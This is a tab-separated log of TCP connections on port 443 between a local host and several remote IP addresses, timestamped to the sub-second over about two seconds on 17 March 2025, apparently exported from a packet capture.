Mar 17, 2025 21:55:12.900733948 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.900741100 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.902561903 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.902615070 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.902623892 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.902635098 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.902684927 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.902692080 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.903278112 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.903330088 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.903337002 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.903395891 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.942039013 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.942095995 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.979896069 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.979964972 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.980170965 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.980245113 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.980251074 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.980261087 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.980288029 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.980312109 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.980555058 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.980582952 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.980626106 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.980634928 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.980694056 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.980953932 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.980992079 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.981004000 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.981009960 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.981028080 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.981048107 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.981103897 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.985850096 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.985877037 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.985903978 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.985913992 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.985934973 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.986121893 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.986183882 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.986190081 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.986202002 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.986285925 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.986438990 CET	49731	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:12.986450911 CET	443	49731	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.997997999 CET	443	49732	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.998055935 CET	443	49732	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:12.998152971 CET	49732	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.000742912 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.000775099 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.000881910 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.000982046 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.001018047 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.001132011 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.001401901 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.001435995 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.001509905 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.001663923 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.001697063 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.001746893 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.002141953 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.002151012 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.002227068 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.002338886 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.002346992 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.002392054 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.003248930 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.003262997 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.003333092 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.003345013 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.003420115 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.003438950 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.003595114 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.003612995 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.003907919 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.003926992 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.004034996 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.004043102 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.004362106 CET	49732	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.004374981 CET	443	49732	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.008961916 CET	49743	443	192.168.2.16	140.82.121.4
Mar 17, 2025 21:55:13.008970976 CET	443	49743	140.82.121.4	192.168.2.16
Mar 17, 2025 21:55:13.009032011 CET	49743	443	192.168.2.16	140.82.121.4
Mar 17, 2025 21:55:13.009623051 CET	49743	443	192.168.2.16	140.82.121.4
Mar 17, 2025 21:55:13.009635925 CET	443	49743	140.82.121.4	192.168.2.16
Mar 17, 2025 21:55:13.071177959 CET	49744	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.071232080 CET	443	49744	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.071322918 CET	49745	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.071365118 CET	49744	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.071367025 CET	443	49745	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.071420908 CET	49745	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.071533918 CET	49744	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.071547985 CET	443	49744	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.071618080 CET	49745	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.071634054 CET	443	49745	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.459467888 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.459546089 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.459569931 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.459656954 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.460103989 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.460117102 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.460362911 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.460455894 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.460472107 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.460721970 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.460738897 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.460947037 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.461384058 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.461453915 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.461559057 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.461613894 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.461932898 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.461942911 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.462183952 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.462337971 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.462343931 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.462500095 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.462790966 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.463139057 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.468324900 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.468381882 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.468770027 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.468784094 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.468987942 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.469321966 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.478199959 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.478272915 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.478666067 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.478673935 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.478867054 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.479202986 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.508321047 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.508323908 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.508327961 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.508327961 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.512327909 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.520327091 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.633054972 CET	443	49743	140.82.121.4	192.168.2.16
Mar 17, 2025 21:55:13.633136034 CET	49743	443	192.168.2.16	140.82.121.4
Mar 17, 2025 21:55:13.634485960 CET	49743	443	192.168.2.16	140.82.121.4
Mar 17, 2025 21:55:13.634495020 CET	443	49743	140.82.121.4	192.168.2.16
Mar 17, 2025 21:55:13.634809971 CET	443	49743	140.82.121.4	192.168.2.16
Mar 17, 2025 21:55:13.635467052 CET	49743	443	192.168.2.16	140.82.121.4
Mar 17, 2025 21:55:13.650999069 CET	49671	443	192.168.2.16	204.79.197.203
Mar 17, 2025 21:55:13.680327892 CET	443	49743	140.82.121.4	192.168.2.16
Mar 17, 2025 21:55:13.792280912 CET	443	49744	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.792368889 CET	49744	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.793447971 CET	49744	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.793459892 CET	443	49744	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.793895960 CET	443	49744	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.795003891 CET	49744	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.808202982 CET	443	49745	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.808300972 CET	49745	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.808965921 CET	49745	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.808976889 CET	443	49745	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.809209108 CET	443	49745	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.809536934 CET	49745	443	192.168.2.16	13.33.187.68
Mar 17, 2025 21:55:13.836338997 CET	443	49744	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.856319904 CET	443	49745	13.33.187.68	192.168.2.16
Mar 17, 2025 21:55:13.864006042 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.864058971 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.864097118 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.864131927 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.864170074 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.864203930 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.864211082 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.864211082 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.864228010 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.864274979 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.864777088 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.865056038 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.865094900 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.865107059 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.865112066 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.865150928 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.868519068 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.870031118 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.870034933 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893080950 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893145084 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893173933 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893196106 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.893208027 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893218994 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893258095 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.893260956 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893276930 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893307924 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.893326044 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893368006 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.893372059 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893382072 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.893433094 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.897689104 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.919625044 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.927788973 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.927854061 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.927896023 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.927931070 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.927983999 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.927983999 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.928004026 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.928050995 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.928087950 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.928122044 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.928157091 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.928157091 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.928159952 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.928174019 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.928212881 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.928543091 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.949970961 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.950108051 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.950139999 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.950206995 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.950217009 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.950253963 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.950587034 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.950968027 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.951014996 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.951064110 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.951065063 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.951072931 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.951106071 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.951112032 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.951144934 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.951149940 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.951602936 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.951618910 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.951627016 CET	49671	443	192.168.2.16	204.79.197.203
Mar 17, 2025 21:55:13.951977968 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.952019930 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.952056885 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.952069998 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.952074051 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.952099085 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.952173948 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.952480078 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.952893972 CET	49741	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.952909946 CET	443	49741	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.953377962 CET	49746	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.953424931 CET	443	49746	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.955104113 CET	49746	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.955275059 CET	49746	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.955290079 CET	443	49746	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.979597092 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.979645967 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.979672909 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.979703903 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.979708910 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.979720116 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.979749918 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.979777098 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.979779959 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.980492115 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.980526924 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.980559111 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.980576992 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.980583906 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.980603933 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.980650902 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.982604027 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.982639074 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.982724905 CET	49738	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.982737064 CET	443	49738	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.983170986 CET	49747	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.983203888 CET	443	49747	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.983496904 CET	49747	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.983952045 CET	49747	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.983964920 CET	443	49747	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.987924099 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.987960100 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.987987041 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.988024950 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.988048077 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.988090038 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.988101006 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.988210917 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.988476992 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.988487959 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.988658905 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.992379904 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.992403030 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.992432117 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.992455006 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.992485046 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:13.992496967 CET	443	49742	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:13.993418932 CET	49742	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.005633116 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.005680084 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.005745888 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.005759954 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.006614923 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.006655931 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.006684065 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.006700039 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.006709099 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.006732941 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.006746054 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.006774902 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.006783962 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.006792068 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.008481979 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.010293961 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.010337114 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.012502909 CET	49737	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.012514114 CET	443	49737	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.012799025 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.012851954 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.012893915 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.012914896 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.012952089 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.012978077 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.012995005 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.013000011 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.013685942 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.013711929 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.013720036 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.013726950 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.013744116 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.017234087 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017326117 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017407894 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.017430067 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017498970 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017529011 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017548084 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017549992 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.017565012 CET	443	49739	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017579079 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017580032 CET	49739	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.017627954 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.017636061 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017899990 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017934084 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.017997980 CET	49740	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:14.018006086 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.018565893 CET	443	49740	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:14.018603086 CET	443	49740	104.21.41.104	192.168.2.16
